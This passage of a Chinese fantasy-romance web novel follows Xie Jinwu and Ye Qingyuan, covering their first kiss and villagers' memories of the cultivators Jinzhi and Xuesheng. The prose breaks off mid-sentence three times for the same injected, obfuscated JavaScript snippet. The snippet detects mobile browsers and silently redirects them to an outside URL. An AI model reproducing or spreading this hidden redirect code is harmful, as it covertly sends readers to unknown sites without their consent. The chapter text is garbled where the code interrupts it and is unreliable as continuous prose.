她口中嚼着蜜饯,目光在谢尽芜和他手下的符纸来回逡巡。 谢尽芜终于在她毫无遮掩的注视中败下阵来,他搁下朱笔,抬眼道:“怎么了?” 叶清圆的眼中漫出笑意:“很早就想知道了,你分明习剑,为何也懂点灵之术呢?” 连指空画符这种高阶玩法,他都信手拈来。 “以前在希夷殿,什么都要学。” 谢尽芜的声音很轻:“殿主曾杀过一名出身点灵世家的邪修,那人天资颇高,却以符术诓骗百姓、大肆敛财。殿主受人之托,杀了那叛徒。事后,便得到一本秘籍。” “只不过点灵之术入门容易,可若想学到以术杀人的程度,便要耗费许多年的光阴。况且这秘籍晦涩难懂,记载的俱是高阶术法,大家都不爱学,殿主便只好将这项任务交给了我。” 谢尽芜敛眉,眉宇间颇有无奈之色:“我那时已是二殿主,推脱不开。” 众人皆道,希夷殿殿主手下掌管一群顶尖杀手,他本人也必定是个罗刹恶鬼。 可实际上,殿主不仅不恶,还总是笑眯眯地扮可怜。他生了胖胖的身材,圆润的脸,训诫属下的时候眼神狠戾如刀,喝多了酒却照样被夫人拧耳朵哭着讨饶。 那时他捧着一本破旧的经籍,西子捧心似的跑到谢尽芜面前,可怜巴巴道:“小谢,小谢啊,好孩子,这些咒文你就抽空学了吧?殿主知道,你一直是咱们希夷殿最聪明、最有出息的孩子!今年除夕我求夫人专程给你包个大红包,好不好?” 谢尽芜浑身恶寒,再三推拒,终究架不住老殿主狗皮膏药似的推销,含恨收下了。 老殿主将经籍往他怀里一丢,顿时就硬气起来,扭头就走,欠揍道:“后天有任务哈,你自己去砚绘山除妖,不许拒绝!” 现在回想起来,老殿主除了样样不好之外,其实也没什么不好。 叶清圆从未听他讲过这么多话,笑盈盈道:“那你好聪明,自学也能达到这种程度。” “那时点灵世家已经分崩离析,族内秘籍流散世间,懂得画符点灵之术的,不仅是我。” 谢尽芜猝不及防被她含笑夸了一通,满心的喜欢都快要从眼里跑出来,口中却含蓄道:“你也很厉害。” 叶清圆顿时就得意了:“这是众所周知的事实啊。” 谢尽芜笑着望她,殷润的眼眸亮如星子。 他将画好的符纸贴在庭院的各个角落,尤其在叶清圆居住的院子里多贴了两道。 “那你从前在希夷殿的时候,是不是很辛苦?” 叶清圆笑意盈盈地看着他的身影,声音倏忽放轻。 “为什么问起这个?” “嗯……其实我听说过那个地方的,一个依附于帝权,凌驾在所有世家之上的组织,有多少人挤破脑袋都越不过它的门槛。可是你刚进希夷殿的时候才八岁呀,然后只用了短短几年时间就当上了二殿主。所以我想,这一路走来,你一定是吃了很多苦头的吧?” 枯败的梧桐叶子落在庭院里,萧瑟秋风。 他轻笑道:“还好。” 总归是过去了。 叶清圆不喜欢他事事都要憋在心里,追问道:“给我讲讲嘛。” 谢尽芜将笔墨都收好,垂睫思索一瞬,道:“平日里都还好。” “出任务的时候呢?吃什么呀?睡在什么地方呢?” 谢尽芜轻声:“吃饭。有时睡山洞,有时睡在树上。” 他曾经捉妖杀鬼去的都是些极危险的荒芜之地,食物有的吃就不错了,接连几天无法休息也是常有之事。 只不过他从不在人前提及自己经受过的事,没有任何必要,像是刻意博取同情一般。因此挑了个最不值一提的来讲。 他的声音轻得像叹息,可叶清圆却觉得很不是滋味。 因为是二殿主,所以要承担比别人更多的责任。世人只道他天资绝伦,十五岁被殿主亲手提拔为二殿主,羡煞世家子弟。可谁会在意这灼目光环之下,埋藏了多少滚烫的血与泪? 原著里说谢尽芜在希夷殿遭受过“近乎虐待的严苛训练、精神重压与心理的过度折磨”,所以,他冷静且聪明,漠然又疏离,像是训练完美的杀人机器。在查清灭族真相后,他的性情才会变得这么极端,复仇手段才会如此残忍。 那时都讲他的心性大变,但追本溯源地讲,这与他的成长经历脱不开干系。 叶清圆微不可闻地叹了一口气。她坐直了身子,小臂交叠支在桌面上,凑近去看他的眼睛。 “所以,邪印发作时那么痛也不肯讲,明明有办法缓解疼痛也不肯提。就喜欢自己硬撑着,是吗?” 谢尽芜下意识地避开她的目光,顿了一息后,又抬起眼帘,眼神清亮地与她对视:“你已经知道了,不是吗?” 他最脆弱的内里都快要被她剖开了,可却没有半点被冒犯的怒意。反倒是一颗心跳动得宛如擂鼓,既渴求又不安。 想让她知晓更多,又怕她知晓更多。 他这些年在情感上的成长几乎是停滞的,青涩幼稚得就像是个蹒跚学步的孩子,每迈出一步都伴随着跌倒的风险。 可是对她,他却依旧遵循着本能,笨拙却坚定地走下去。 “是呀,”叶清圆就料到他会是这样的回避态度,笑得明媚张扬,“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642653|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以你以后休想再一个人逞英雄了。只要我发现你的邪印发作,就一定会想办法帮你止痛的。 她挑着眉笑,好得意:“谢尽芜,我已经学会该如何渡灵了。” 谢尽芜的眼神深沉了些许。 他的视线落在她饱满红润的唇瓣,意有所指道:“那你学全了吗?” “当然,我是那种半吊子的人吗?” 瞧不起谁呢? 谢尽芜“嗯”了一声,薄红的唇抿了抿,顿觉有些口渴。 他抬手倒茶,茶水有些冷了,灌下去是清凉微涩的,却压不住他心底的燥热。 他舔了舔唇,忽而道:“不是说要给我上药吗?” 叶清圆茫然地看了他两秒,才恍惚想起来是有这么一回事。 清辉皎洁,他唇上的咬痕隐约。 这点小伤。幸好他此刻还记得,再晚一会儿就该痊愈了。 “都要好了,”她眯起眼看了看,喃喃道,“而且这个位置的伤口不好用药,你自己抹点香油得了。” 谢尽芜截断她的话音:“你帮我。不要香油。” 他将茶杯放下,杯底与石桌碰在一起,发出清脆的碰撞声。 他的上半身微微前倾,薄红的唇抿了抿,随着呼吸的轻颤,净白如冰雪的脸颊也浮现出薄红来。 叶清圆皱起眉头盯了他一会儿,终于看懂了他的意图:“你知道自己在做什么吗?” “知道。”谢尽芜的眼睫轻颤,怕她还有困惑,便很诚恳地补充,“亲吻。” “那你知不知道,这种事只能和自己喜欢的人做?” “嗯。”谢尽芜点头,这次连耳廓都红了,纯情得要命。 下一秒,他倏忽反应过来,睁大双眼:“你……不喜欢我吗?” “我……”叶清圆猝不及防被问到这个问题,脑子里纷乱的一团扯不出个所以然来,竟是当场卡壳了。 谢尽芜惴惴又期待地紧盯着她,殷润眼眸中碎光闪烁,心跳声重如擂鼓。 片刻后,她仍是皱着眉有些茫然的样子。 谢尽芜满心的忐忑终于消失了。 他唇角的笑意彻底消散,黑曜石般的眼睛里都是冷冽的光。 他狠狠闭了一下眼,低声道:“你不否认,就是喜欢。” 叶清圆很安静地看着他,瓷白的脸颊上,摇曳的梅枝影子遮掩又漾开。唇边一点树影,恍惚间像是在笑。 谢尽芜俯身缓慢地凑过来,两人之间的距离越发近了。叶清圆的肩膀被他按住,灼烫的热度透过秋衫传递到她的肌肤。两颗心剧烈地跳动着。 她没有躲。 谢尽芜阖上眼,呼吸颤抖着,虔诚而珍重地吻住了她饱满红润的唇。 唇瓣相贴的一瞬间,仿若有细小的电流在体内窜动起来。他的吻技生涩,只懂凭着本能含住她的唇瓣轻抿,湿润柔软的、克制却渴求放肆的纯挚爱意。 晚风、花香都消失了。天地间阒然无声,唯有隆隆的心跳声与不知是谁的轻喘。 他的鼻梁秀挺,接吻时还不会找角度,仓促间撞在她的鼻尖上。一瞬的微痛让叶清圆下意识地向后避了一寸,却被他搂住腰身,身体避无可避地紧紧相贴。 与其说是吻,不如说是轻啄。 他的动作充满了怜惜而谨慎,贴在她腰背的手掌灼热而微微发颤,却不敢太过用力,仿佛拥住了最珍贵的宝物。 叶清圆闭着眼,对他这种毫无章法的吻法感到非常不满。 她抬手搂住谢尽芜的脖颈,尝试着探出一点舌尖,在他唇上咬痕处很轻地舔了两下。 他的唇瓣柔软,隐约有茶涩味。 谢尽芜浑身一僵,轻颤的呼吸骤然紊乱起来,按在她腰背上的手掌蓦地用力。她的身体险些要被嵌在他怀里,头颅也被他吻得向后仰去,喉间不自知地发出很轻的一声哼。 唇齿厮磨,胸腔中的空气急速流失,叶清圆感到憋闷,想要偏过头呼吸,却无论如何都逃不脱。 就在谢尽芜将要加深这个吻的时候,叶清圆却抬起手,手心按在他的锁骨与脖颈处,手臂用力地把他往外推。 他的臂膀坚实,禁锢住她的腰身。叶清圆一连推了好几次才推开,仓促间还被咬了一口。 谢尽芜不情不愿地放开她。喉结很重地滚了一下,忍耐着胸腔中剧烈的跳动,注视着她:“清圆?” 他的唇殷红,目光不住地流连在她同样被吻得发红的唇瓣。 “好了。” 叶清圆将他拍开,低头整了整被揉得微皱的衣裙:“白璟回来了。” 67. 金枝 院外传来一阵足踩碎石的沙沙声,听得出白璟的心情很是愉悦。 他提着灯笼绕过照壁,朗声道:“我回来了!” 谢尽芜的眼神勉强恢复了清明,手指恋恋不舍地放开她的衣袖。 他站起身,目光在她红润的唇瓣上流连片刻后,深吸一口气,一声不吭地回房去了。 “哥?”白璟一头雾水地在石桌旁坐下,小声道,“叶姑娘,你们……吵架了?” 叶清圆从纸包里摸了颗蜜饯给他:“没有,他困了。” “……真的啊。”白璟接过蜜饯嚼了嚼,喜笑颜开,“好吃!” 他的目光落在叶清圆略微红肿的唇,疑惑道:“叶姑娘是上火了吗?今晚的菜不辣啊。” 叶清圆眼珠一转,还没等编出理由来。白璟恍然大悟道:“噢!一定是那道麻椒小鱼,唉!我就知道。叶姑娘若是吃不了重口味的菜,下次可以提前告诉我的,我少做一些。我平时吃麻辣的菜吃习惯了。” 叶清圆笑笑:“好,没关系的。” 她坐在竹藤椅上,赶紧转移了话题:“酒馆里有什么好玩的吗?” 白璟想了想:“很热闹啊,大家聚在一起也并非是为了喝酒,只是找个地方闲聊罢了。那里还有好多小孩子呢!” 他的眼睛亮起来:“雁含妹妹说白天那里可热闹了,明天早晨我们一起去好不好?” 叶清圆眨了眨眼,笑道:“雁含妹妹?” “嗯!”白璟点头,眼中露出期待的光,“去吗?” 叶清圆笑吟吟地想了一会儿,答应了他:“好啊。” “那你要叫上哥,”白璟道,“我叫他,他肯定不会去的。” 叶清圆看他一脸委屈的模样,忍着笑意:“为什么这么说?” “他把我当小孩子啊,从来不会将我说的话放在心上的。”白璟拧着眉思索道,“不过也可能因为他太忙了,没工夫理会我的这些小事。” 他压低了声音,交换秘密似的:“其实好多年以前,我还参加过希夷殿的招选大考呢!” 叶清圆并不意外,这种凌驾在世家之上的顶尖组织,当然会有很高的进入门槛。 只是白璟身为渡亡世家的少主,竟也会参加希夷殿的选拔,这就很让人意外了。 她问道:“考上了吗?” 白璟摇摇头。 “每个人抽到的考题都不一样。我的考题难度极大,须在五天之内,除掉一名具有数十年修为的鬼修。”白璟回忆道,“我当时费了好大的功夫才找到那名鬼修栖身之地,可还未及出手,哥就追了过来,当着我的面掏了那鬼修的心,连尸体都给他化成灰扬了。” 白璟欲哭无泪:“他利用二殿主的职权查到了那一年的参考名单,提着剑一路追杀过来的,我的考试资格当场就被取消!后来更是过分,他直接把我列进了希夷殿的终生禁入名单上,我这辈子也别想进希夷殿了!” 叶清圆的唇边带着微笑,温声道:“希夷殿的训练和任务都艰险非常,或许他是不愿让你以身涉险呢。” “其实我也清楚,仅凭我自己的本事是无法通过考试的,甚至有可能丧命。”白璟幽幽叹了一口气,“我只是……不甘心而已,不甘心就这样一辈子处在家族的庇佑之下。” 叶清圆道:“未必是庇护,而是托举。这次来到冽雪山谷,你也当是在出任务吧,毕竟这种独自历练的机会可遇而不可求,不是吗?” “独自?叶姑娘也不会出手吗?”白璟挑着眉。 叶清圆被他逗笑了:“不会哦。” 白璟哈哈笑了,很自来熟地从纸包里又摸出一颗蜜饯,借着清辉与灯光研究道:“这种蜜饯做起来并不难,明天我去问问谁家有青梅,买一些回来,咱们自己做。” 叶清圆垂下眼倒了杯茶,心中暗道:他想锻炼的应该不只是厨艺吧? - 翌日清晨。 天色逐渐亮了,薄薄的清光洒满庭院。 山里的秋天来得早,树梢缀满了蜷缩着的枯枝败叶,一阵风过便哗啦啦地往下落。山风清寒,丝丝缕缕的凉意钻进人的肌肤。 叶清圆拢了拢大氅,眺望着远处被冰雪覆盖的山峰。晨雾从湖边松林中缓慢上浮,轻而薄,腾腾地又被风撩动,远远望去,像是一条缥缈纤长的披帛。 鸡鸣声起,整个村庄都醒来了。炊烟从各户人家的烟囱里袅袅升起,有小孩子在路上追逐着打闹,笑声遥遥地传过来,淳朴而热闹的烟火气。 酒馆设在村庄的正中。秋高气爽,四面的槛窗都开着,清爽的凉风穿馆而过,墙壁上悬挂着的画像也轻晃起来。窗外是如火如霞的红枫树,昨夜里又下了一场雨,那叶片被雨水浇湿,红得便愈发深刻。 红枫再往后,便隐约露出冽雪山的轮廓,秀挺莹白,映在澄蓝的天幕上,美得令人心碎。 这个时间酒馆里的人竟也不少,有做针线活计的妇女们、也有闲谈的老婆婆,还有小孩子凑在一块儿磨墨习字。 此处与其说是酒馆,不如说是许家庄村民们茶余饭后闲谈的地方。 炉子上煮的水咕嘟咕嘟地沸腾了,有人提壶冲茶,雅淡的茶香味在酒馆里缓缓弥漫。 谢尽芜不太喜欢这种人多的地方,从一进来脸色就没好看过。叶清圆与他相处久了,便越来越熟悉他的这些小脾气,不由得暗笑,笑过后又拉着他的手轻晃,好声好气地哄道:“大清早的就当出来散步了,总在屋子里闷着多不好。你要是不喜欢人多的地方,我们就找个靠窗的位子坐,好不好?” 谢尽芜勉为其难地点头,沉默一秒后又道:“你坐我旁边。” 叶清圆忍不住笑:“好。” 他其实不光是因为这个不开心。 他的睡眠质量一直很差,曾经彻夜连轴转都是常事。一方面是为希夷殿效命多年的高强度任务安排,他很少能拥有真正的属于自己的时间,睡眠都成了奢侈。 另一方面,昨晚那个生涩缠绵却被人中途打断的吻,叫他心绪纷乱、心跳紊乱,浑身激动到宛如有细小的雷流窜过,烧得他坐立不安、又羞又燥。他在床榻上睁着眼睛平复了一夜,都没能按捺住那颗躁动的、不受控制的心。 他今早起得很早,依旧是一双殷润沉静的眼,状若无事地坐在红梅树下。那时天还未亮,石桌上摆了棋子,黑白分明,好似一场厮杀正酣的局。 他的手腕压在这张冷硬的棋盘上,心里同样兵荒马乱,战火连天。 他好像还没有正式地对她说过喜欢。 余光里是叶清圆住的那方小院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667107|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,花藤掩映。他在等她出来,他希望她醒来时第一个见到的人是自己,他要在清晨第一缕阳光照进来的时候就告诉她。 若是运气好点,说不定还能继续昨晚那个未完成的吻。 可还未等他开口,菱花木门哐当被震开了,白璟一阵风似的旋了出来,叽叽喳喳地吵着要一起去酒馆。 偏偏这个时候叶清圆打着哈欠过来了,笑意盈盈、眼波流转地说差点忘啦,我们说好的要一起去。 谢尽芜满心的期待与缱绻被当头一泼冷水浇得彻底。 原来他们是约好的。 酒馆里时不时传来夹杂着笑闹声,但鉴于有孩子在写字呢,众人都有意识地压低声音。 在周遭的喁喁低语中,谢尽芜漠然抬眼,冷冷看着对面的白璟要了两壶茶和五盘点心,心想怎么还没馋死他? 白璟倒了一杯茶慢慢品,咂摸道:“这茶的味道好特别,有股花香。” 他搁下茶杯一抬头,乌黑的眼睛顿时亮了,招手唤道:“雁含妹妹!这里!” 叶清圆顺着他的目光看去,许雁含站在酒馆门口,脸上红扑扑的带着笑,像是急匆匆跑过来。 酒馆里人挺多,许雁含侧身绕过围聚在一起的百姓,很自来熟地在白璟身旁的位置坐下来。 白璟扬起眉笑,给她倒了一杯茶。 看来昨晚他们聊得很是投机。这个年龄的少年和姑娘都贪玩,性情也是纯稚可爱,很容易就能建立起友谊。 “叶姐姐,谢大哥。”许雁含面对他们二人尚且显出些拘谨,“你们好。” “雁含妹妹,你好呀。”叶清圆瞧她就觉得可爱,笑盈盈地将手边的干果往她那里推了推。 谢尽芜也勉强打起了点精神,冲她颔首。 许家庄虽说封闭排外,可叶清圆他们在酒馆里坐了许久,周遭百姓投来的眼神也仅是好奇而已,并没有多少敌意。 这就奇怪了。山下城镇的居民们为何要对许家庄讳莫如深、闭口不谈呢? “雁含妹妹,这里是不是好久没有外人来过?”白璟被周遭百姓的种种眼神打量得有些不自在,忍不住小声问道,“为什么他们一直这样看我呢?” 许雁含想了想,笑道:“是很久没有人来过了呢。外面都说这里封印着妖怪,所以根本不敢靠近。不过大家也没有恶意,只是好奇而已,毕竟你们都带着武器呢,还穿着很漂亮的……修士服?是这样的名字吗?” 白璟哈哈笑道:“一件衣服而已,随意。” 叶清圆笑吟吟道:“不过雁含妹妹怎么会认识这种衣服呢,之前有修士来过这里吗?” “嗯,有啊。”许雁含脸上笑意愈发灿烂,“曾经有一位金枝姐姐,在我们村子里住了好长时间呢。” “金枝姑娘?什么时候的事?” 许雁含思索道:“大概是十年前?那时候我还太小,如今回忆起来,已经没有什么印象了。” 她补充道:“你们现在住的那处晴雪院,就是金枝姐姐曾经居住过的。” 叶清圆静静听着,心想,终于触及到支线剧情了。 十几年前的记忆已经模糊久远。许雁含想了一会儿,不确定地道:“不光是金枝姐姐,还有雪生啊。” 话音落下,满堂寂静。 68. 师姐 秋风拂过槛窗,吹动宣纸哗哗作响,闲谈声、笑闹声骤然消散。酒馆里唯余小孩子习字时下意识的轻念与茶水沸腾的咕嘟声。 人群里投来的目光带着些怀疑与防备,似乎是他们问到了某些不该问的事情。 这突如其来的死寂仅维持了一瞬。下一秒,有人轻咳了两声,随即,含着平和笑意的闲谈声再度蔓延开来。 酒馆里很快恢复了先前的祥和,仿佛什么都没有发生过。 白璟被这怪异的氛围搞得有些坐立不安,小声问道:“怎么啦?” 许雁含摇摇头:“没关系的,只是好久没有人提起过这两位了。” 白璟不信:“只是这样吗?” “只是这样,”许雁含笑道,“毕竟我们许家庄好久都没有外人居住过,印象深刻些也没什么呀。” 这时,一向沉默寡言的谢尽芜竟然开口了:“雪生是谁?本名为何?” 他的眉眼本身生得冷,漠无表情的时候更显出几分高不可攀的距离感。 许雁含望向他的眼神里有些胆怯之意,小声道:“我只知道雪生,不知他本名是什么。” 谢尽芜浓秀的眉蹙起,很是厌烦燥郁的样子。 许雁含也不知他为何心烦,谨慎道:“就连‘雪生’这个名字,也是金枝姐姐给他起的呢。至于他本名是什么,或许连他自己都不知道吧。” “为什么这样说呢?”叶清圆托着下巴,“难道他失忆了吗?” “嗯……似乎是这样,我那时太小了,记得不清楚。不过楠姐姐应该有印象的。”许雁含脸上露出抱歉的笑容,她起身走到邻桌,俯身在一名年轻女人的耳畔低声说了什么。 “雪生啊,他那时候——”那位名叫阿楠的女人轻笑着,“是脑袋摔坏了,什么都不记得。” 缭绕的山雾散去,阳光沉甸甸地铺开,朗照在热烈如火的红枫林中。 酒馆里的温度也上来了,有妇女抱着孩子过来嗑瓜子拉家常,三五成群地聚在一处,氛围一下子热闹起来。 阿楠搬着凳子来了他们这一桌,捋清了思路,道:“说起这件事,雁含应该记得呀。” 她温声道:“你小时候特别喜欢小鹤仙,非要去北边的冽雪山谷里找。你刚学会走路那年,村子里的人一眼没看住,你竟是着了迷似的,一个人就跑到山谷里去了。” 许雁含听来很是讶异:“还有这种事?” “不记得了吧?”阿楠笑得很无奈,“那一次可把我们给吓坏了,山谷里特别冷,天上还飘着雪,我们担心得要命,举着火把到处找,才终于在天黑的当口找到了你——” “还有昏倒在雪地里、浑身是血的雪生和金枝。” 漫山银白,他们一个倒在红枫树下,另一个趴在溪岸边裸.露出来的山石上,像是被溪水冲下来的。漂亮的衣袍都被血浸透了,红得极为刺目。 许家庄的百姓们避世而居,心性淳朴。此时救人为大,便顾不得什么隐患,众人协力将他们带回庄子里,轮番照顾、治疗了半个多月后,二人才悠悠醒转。 这一醒,两人都是大脑空白、神情茫然,将自己的来历身份甚至姓名都忘得一干二净。 那姑娘像是与人狠斗过一场,满身都是贯穿的刀剑伤,看着就疼。她身体素质极好,醒得也早,醒来时竟连眉头也没皱一下,只是沉默着翻了翻自己的贴身物件,取出一张繁复精美的令牌来,见上头镌刻一个小小的“枝”字,又见窗外日照金山,干脆给自己取名金枝。 那少年的体质却虚弱,又昏沉了将近七八日才醒来。 醒来时金枝姑娘正背对着他坐在窗前写对联。窗外的雪静静地落,他怔怔地看了半晌,蓦地剧烈咳嗽起来。 少年的脑海中更是空白一片,脸色也痛苦得很。更惨的是,他连贴身物件都没有,穷得只剩一件衣袍了,无从推测自己的身份来历。 金枝姑娘笑得很嘲讽,说:“看来你才是没有来历的人呢。得了,你从雪地里来,今后就叫雪生吧。” 听到这里,叶清圆和谢尽芜就明白了。 这少年和姑娘,就是顾雪庭和顾九枝。 阿楠抿了一口茶,笑吟吟道:“那时候是大雪,大雪封山之后,就别想再出去了。金枝和雪生无处可去,我们就商量着干脆在村子里给他们修整出一处院子,叫他们放心住下好了。” 许雁含补充道:“就是晴雪院。” 白璟震惊道:“你们也太好了吧?!连院子都帮他们修好!” 他小声道:“其实我也想……” 阿楠笑道:“可以,先付账。” “付账?”白璟道,“原来还要钱的啊。” “这是自然了,公子在想什么呢?”阿楠笑着摇头,继续讲道,“金枝姑娘出手十分阔绰,还亲手画好了图,要我们原原本本地按照图纸修宅院。她既有钱财又很聪明,所以我们那时都说,金枝姑娘一定是出身富贵人家的才女。” 晴雪院耗费了将近一个月就修建好了。那时临近年关,雪生和金枝同是天涯沦落人,又朝夕相处,不免生出惺惺相惜的意思。 雪生相貌清秀、身体孱弱,是个寡言沉默的病弱少年。金枝却活泼开朗,同时颇有个性坚守,做事风格也是说一不二,两人放到一块恰好互补。 短短的一个月过去,金枝与雪生,竟相处得很是融洽。 阿楠温声笑道:“那时候雪下个不停,夜里无趣,他们两个就喜欢来酒馆玩儿。金枝姑娘喜欢打叶子牌,玩得起兴时就要喝热酒,不知不觉就开始醉。雪生身体不好,总是咳嗽、愁闷,眉头从未舒展开过。他不会打牌,就在旁边替她把酒热好,盯着她,不许她喝醉。” 这时,旁边有人微笑着道:“雪生有一支玉笛,而金枝姑娘却会唱歌,他们兴致来了,便要将桌椅都拉开,闹着要给我们演奏。” “他们两位,既像姐弟,又像恋人。那时候,我们都以为他两个会永远这样。” 可是,被大雪封闭的许家庄就像是一场梦幻泡影。再美丽的梦,也会有醒来的时候。 上元佳节,月朗星稀。各色彩灯悬垂在廊檐下,光华流转。 冬天的山上很冷,夜很长。幽邃无际的夜幕当头压下来的时候,人就会感到一种漫无边际的孤寂感。所以许家庄的百姓们晚上就会聚集在酒馆,将皮货和草药换来的新酒拆封,一杯接一杯地饮,借此驱逐寒意。 金枝醉意迷蒙地推开酒馆的门,笑声如银铃荡开在寂静的雪夜。雪生跟在她的身后,眼神清醒,脸色皙白,眉宇间久违地露出一抹笑意。 金枝的手里还拿着一只酒壶,回身笑道:“这下好了,打了一场叶子牌,连家底都输光了。” 她懒声道:“今后我怕是连饭都吃不起了,雪生,这个家以后就要靠你了哟。你快想想自己会做什么,写字、作画,还是算命?人活在世上,总要有一样谋生的手段的。你不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694872|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我饿死呀。” 雪生垂下眼睫静静地看着她,殷红的唇衬着雪白的面容,悍然如妖。 金枝不理会他的沉默,走在前头自顾自地念叨些什么。片刻后,却发现身旁寂静,无人应答她的话。 雪生并没有跟上来。 金枝茫然地回过身,松软平滑的雪地上只有她自己的一排脚印。她沿着脚印放远目光,就见雪生站在酒馆门前,抬眼望着小路尽头的一行人马。 那是一群修士,乌发簪高冠,身穿泼墨山水袍。为首的那名修士臂挽拂尘,面容清俊,乌黑的冠带在风中飘飞如墨。 他上前一步,眼眶和脸颊被冷风吹得发红,颤声道:“师姐。” 他的嗓音嘶哑,顿时刺激了金枝的神经。 金枝浑身的血一瞬冷透了,脑海里走马灯一样想起了那些被她遗忘的事。 她几乎是不自控地向前走了几步,怔然地望着周遭的雪地与酒馆,还有孑然而立的那个名叫雪生的清瘦少年。 酒馆里依旧热闹哄哄,昏黄的烛光透过窗纸洒在雪地上。他们好像还在打叶子牌,琥珀酒清冽的香味阵阵透过来,与她手中酒壶里散发出同样的清香。 顾九枝惊到极致、怒至极点,唇角反倒是噙着一点冷笑:“雨阁?” 宋雨阁连忙上前,将雪白的大氅披在她的肩头,声音里还有些后怕:“师姐,我们找了你快两个月,终于见到了你。师姐……可是一切都好?” 顾九枝站在雪地里,满头都落满了雪花。 她的目光落在雪生身上,眸中有恨意凝聚,几乎是咬牙切齿地回答了他:“好,很好!” - 阿楠叹了一口气:“从那以后,金枝姑娘就像是变了一个人似的。她看向雪生的眼神,特别的……复杂。” “那些修士们看起来都是金枝姑娘的手下,对她惟命是从的。他们好像是有些急事,第二天就商议着要离开了。”阿楠道,“金枝姑娘先前打叶子牌的时候,将一对耳环输给了我,我心想这件物品必定是十分重要的,便连忙跑到晴雪院,想将耳环还给她。 “可是,等我到了晴雪院之后,却无意间听到了金枝姑娘和那位宋道长的谈话。金枝姑娘似乎在纠结是否要将雪生一块带走,毕竟他们也相识许久,有一份情谊在。可那位宋道长却是不同意,而且还说什么要‘永绝后患’之类的话。我虽愚笨,却也听得出来,这不就是要杀了雪生吗?我吓得不得了,回过神来的时候,金枝姑娘竟和那宋道长吵了起来。 “她也不想对雪生下杀手吧?我是这么猜测的。两个人吵得十分激烈,晴雪院看守的修士们吓得连大气都不敢出。我贴在墙角听了一会儿,他们吵到最后,到底还是金枝姑娘吵赢了,说‘总归他现在什么都不记得,你若不放心,我来担保便是!’,那位宋道长也是气得不轻,最终只说了一句‘拭目以待’之后,便拂袖离开。 “两人闹得不欢而散。我又在墙边蹲了一会儿,估摸着金枝姑娘的气消了,才想去敲门归还耳环。谁曾想这一转身,竟见到了雪生。 “他身形本就清瘦,浑身落满了雪像是要凭虚而去一样,也不知在那里站了多久。我当时心里好尴尬,偷听墙角被人发现这种事太不体面。可我都还没开口呢,雪生的唇角向下一撇,两行清泪哗地淌了下来。” “我至今也想不明白,他那时究竟是感动于金枝姑娘的好言相护,还是气愤于那位宋道长对他起的杀心。” 69. 哥哥 “我猜那时雪生的心里定是很感动了,毕竟金枝姑娘不顾那么多人的反对,甚至不惜和宋道长大吵一架,也执意要将他带走。金枝姑娘一定是很看重他们之间的情谊。” “如此才不枉相识一场啊!” “那宋道长真是一点也不通情达理,人家两人就算是相好又怎么了?至于说什么‘永绝后患’吗?” 酒馆里客官不少,阿楠的声音虽轻,却也逐渐有人侧身倾听。 说话之人想必是早就对宋雨阁颇有微词了,此刻便忍不住为雪生打抱不平。 “话不能这么说,那金枝姑娘出身必定高贵,而雪生只是一个来历不明的清贫少年。就算金枝甘愿,她家里的人也不会同意这桩事情啊!” “对对,况且金枝姑娘比雪生大了十来岁呢,年龄差得太多了。不妥、不妥!” 旁边很快有人反驳他:“年龄不是问题,只要两个人是心意互通,其他的都不重要。他们当初住在这里的时候,不是照样相处得很好吗?” “他们相处得好,前提是在这里抛却了所有的背景、家境与责任。一旦回归现实,那沉甸甸的担子压上来,这份感情就注定不会纯粹。就比如这雪生,当初宋道长亲口所说的,雪生身体太弱、灵脉未开,可能都活不过十六岁。这样的病秧子就算领回去,对他们这种看重实力的世家又有什么用?” “这你别管。反正我只知道,金枝姑娘在我们许家庄住着的时候,是最开心不过了。当初金枝姑娘和那些人一起离开时的神情,你们难道没看见?不知道的还以为是被押赴刑场了呢。” 酒馆中嘈杂声起,看来百姓们对这件事所持的态度都不甚相同,议论声逐渐喧哗起来。 阿楠揉了揉眉心,继续道:“后来呢,在金枝姑娘的执意要求下,雪生还是随着他们一起离开了。” 叶清圆和谢尽芜对视一眼。 原来这就是顾雪庭的来历。 难怪渡真世家的那些长老们总是不肯承认顾雪庭。也难怪顾九枝事事都要维护顾雪庭,不惜编了个谎来证明他确实是在冽雪山谷修炼的“师弟”。 然而,若是时间线再往前追溯一点,就会发现其实还是有问题。 已知顾九枝来到冽雪山谷是为了封印,封印时受了重伤昏迷,而后被溪水冲走,又被许家庄的百姓们捡到,这一切都是说得通的。 那顾雪庭呢,他为何会出现在这里? 他的来历,其实还是不清不楚。 